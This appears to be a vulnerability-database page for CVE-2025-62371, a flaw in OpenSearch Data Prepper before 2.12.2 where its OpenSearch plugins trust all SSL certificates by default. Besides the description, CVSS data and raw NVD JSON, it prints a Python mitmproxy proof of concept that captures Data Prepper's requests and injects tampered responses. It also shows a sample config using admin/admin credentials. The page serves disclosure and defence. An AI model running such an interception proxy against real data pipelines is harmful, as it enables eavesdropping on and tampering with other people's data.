Security Vulnerability Report
中文
CVE-2025-62371 CVSS 7.4 HIGH

CVE-2025-62371

Published: 2025-10-15 18:15:40
Last Modified: 2025-12-04 18:06:30

Description

OpenSearch Data Prepper as an open source data collector for observability data. In versions prior to 2.12.2, the OpenSearch sink and source plugins in Data Prepper trust all SSL certificates by default when no certificate path is provided. Prior to this fix, the OpenSearch sink and source plugins would automatically use a trust all SSL strategy when connecting to OpenSearch clusters if no certificate path was explicitly configured. This behavior bypasses SSL certificate validation, potentially allowing attackers to intercept and modify data in transit through man-in-the-middle attacks. The vulnerability affects connections to OpenSearch when the cert parameter is not explicitly provided. This issue has been patched in version 2.12.2. As a workaround, users can add the cert parameter to their OpenSearch sink or source configuration with the path to the cluster's CA certificate.

CVSS Details

CVSS Score
7.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:amazon:opensearch_data_prepper:*:*:*:*:*:*:*:* - VULNERABLE
OpenSearch Data Prepper < 2.12.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62371 PoC - SSL Certificate Validation Bypass in OpenSearch Data Prepper # This PoC demonstrates the vulnerability where Data Prepper trusts all SSL certificates # when no certificate path is provided in the OpenSearch sink/source configuration. import ssl import socket from mitmproxy import http, options from mitmproxy.tools.dump import DumpMaster # Step 1: Create a self-signed certificate (attacker-controlled) # Generate a fake certificate that mimics the target OpenSearch cluster def generate_fake_cert(): # In a real attack scenario, the attacker would generate a certificate # for the target domain (e.g., opensearch.example.com) # Using openssl: openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes pass # Step 2: Set up a MITM proxy to intercept Data Prepper's connections class OpenSearchMITM: def __init__(self): self.captured_data = [] def request(self, flow: http.HTTPFlow) -> None: """Intercept requests from Data Prepper to OpenSearch cluster""" if "opensearch" in flow.request.pretty_host.lower(): print(f"[*] Intercepted request to: {flow.request.pretty_host}") print(f"[*] Request path: {flow.request.path}") # Capture sensitive data being sent self.captured_data.append(flow.request.content) def response(self, flow: http.HTTPFlow) -> None: """Modify responses before they reach Data Prepper""" if "opensearch" in flow.request.pretty_host.lower(): # Inject malicious data into the response print(f"[*] Modifying response from: {flow.request.pretty_host}") flow.response.content = b'{"tampered": "data injected by attacker"}' # Step 3: Configure Data Prepper WITHOUT cert parameter (vulnerable config) vulnerable_config = """ pipeline: workers: 1 delay: 100 source: http: port: 2021 sink: - opensearch: hosts: ["https://opensearch-cluster.example.com"] # NOTE: cert parameter is NOT specified # This triggers the 'trust all certificates' behavior (CVE-2025-62371) username: admin password: admin """ # Step 4: Start the MITM proxy def start_mitm_proxy(): opts = options.Options(listen_host='0.0.0.0', listen_port=8080) master = DumpMaster(opts, with_termlog=False, with_dumper=False) master.addons.add(OpenSearchMITM()) print("[*] MITM proxy started on port 8080") print("[*] Waiting for Data Prepper connections...") master.run() if __name__ == "__main__": print("=" * 60) print("CVE-2025-62371 - OpenSearch Data Prepper SSL Bypass PoC") print("=" * 60) print("Vulnerable: Data Prepper < 2.12.2") print("Attack: MITM via unvalidated SSL certificates") print("=" * 60) start_mitm_proxy()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62371", "sourceIdentifier": "[email protected]", "published": "2025-10-15T18:15:39.897", "lastModified": "2025-12-04T18:06:29.537", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenSearch Data Prepper as an open source data collector for observability data. In versions prior to 2.12.2, the OpenSearch sink and source plugins in Data Prepper trust all SSL certificates by default when no certificate path is provided. Prior to this fix, the OpenSearch sink and source plugins would automatically use a trust all SSL strategy when connecting to OpenSearch clusters if no certificate path was explicitly configured. This behavior bypasses SSL certificate validation, potentially allowing attackers to intercept and modify data in transit through man-in-the-middle attacks. The vulnerability affects connections to OpenSearch when the cert parameter is not explicitly provided. This issue has been patched in version 2.12.2. As a workaround, users can add the cert parameter to their OpenSearch sink or source configuration with the path to the cluster's CA certificate."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-295"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:amazon:opensearch_data_prepper:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.12.2", "matchCriteriaId": "A22F0CD9-68E8-4BAF-8422-74762C41212F"}]}]}], "references": [{"url": "https://github.com/opensearch-project/data-prepper/commit/98fcf0d0ff9c18f1f7501e11dbed918814724b99", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/opensearch-project/data-prepper/commit/b0386a5af3fb71094ba6c86cd8b2afc783246599", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/opensearch-project/data-prepper/commit/db11ce8f27ebca018980b2bca863f7173de9ce56", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/opensearch-project/data-prepper/security/advisories/GHSA-43ff-rr26-8hx4", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}